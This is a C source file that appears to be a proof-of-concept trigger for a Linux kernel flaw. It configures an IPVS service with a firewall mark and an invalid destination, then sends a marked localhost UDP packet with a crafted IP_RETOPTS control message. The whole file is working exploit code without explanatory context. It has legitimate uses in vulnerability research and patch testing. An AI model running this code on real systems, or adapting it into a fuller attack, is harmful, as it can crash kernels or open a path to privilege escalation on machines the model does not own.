#define _GNU_SOURCE 

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>

#include <arpa/inet.h>
#include <linux/ip_vs.h>

#define MARK 0x41414141

struct ip_vs_svcdest_user {
	struct ip_vs_service_user	s;
	struct ip_vs_dest_user		d;
};



void setup_ipvs()
{
	int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

	struct ip_vs_service_user su = {
		.protocol = IPPROTO_UDP, // just a valid protocol
		.addr = htobe32(0),
		.port = 0,
		.fwmark = MARK, // addr,port don't matter because we have a mark here
		.sched_name = "dh",
		.flags = 0,
		.timeout = 0,
		.netmask = 0
	};

	setsockopt(sock, SOL_IP, IP_VS_SO_SET_ADD, &su, sizeof(su));


	struct ip_vs_service_user su2 = {
		.protocol = IPPROTO_UDP, // just a valid protocol
		.addr = htobe32(0),
		.port = htobe16(0),
		.fwmark = MARK, // addr,port don't matter because we have a mark here
		.sched_name = "dh",
		.flags = 0,
		.timeout = 0,
		.netmask = 0
	};

	struct ip_vs_dest_user du = {
		.addr = htobe32(0xa010101), // 160.16.16.1, just an invalid  address
		.port = htobe16(0),
		.conn_flags = 0,
		.weight = 1,
		.u_threshold = -1,
		.l_threshold = 0x800
	};

	struct ip_vs_svcdest_user arg = {
		.s = su2,
		.d = du
	};

	setsockopt(sock, SOL_IP, IP_VS_SO_SET_ADDDEST, &arg, sizeof(arg));
}

void send_pkt(void)
{
	int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);

	struct sockaddr_in sa;
	sa.sin_family = AF_INET;
    sa.sin_port = htons(0);
    inet_pton(AF_INET, "127.0.0.1", &(sa.sin_addr));

	bind(sock, &sa, sizeof(sa));

	connect(sock, &sa, sizeof(sa));

	// mark our packets so it will get routed to the invalid host
	int val = MARK;
	setsockopt(sock, SOL_SOCKET, SO_MARK, &val, sizeof(val));


	// basically sending an empty control message
	// all this message contains is a byte of IPOPT_END
	struct cmsghdr *cmsghdr = calloc(sizeof(struct cmsghdr)+1, 1);
	cmsghdr->cmsg_len = 0x11; //
	cmsghdr->cmsg_level = SOL_IP; // 0
	cmsghdr->cmsg_type = IP_RETOPTS;
	*(char *)cmsghdr->__cmsg_data = 0;

	struct msghdr msghdr = {
		.msg_name = NULL,
		.msg_namelen = 0,
		.msg_iov = NULL,
		.msg_iovlen = 0,
		.msg_control = cmsghdr,
		.msg_controllen = cmsghdr->cmsg_len,
		.msg_flags = 0
	};

	sendmsg(sock, &msghdr, 0);
}

int main(void)
{
	setup_ipvs();
	send_pkt();
	return 0;
}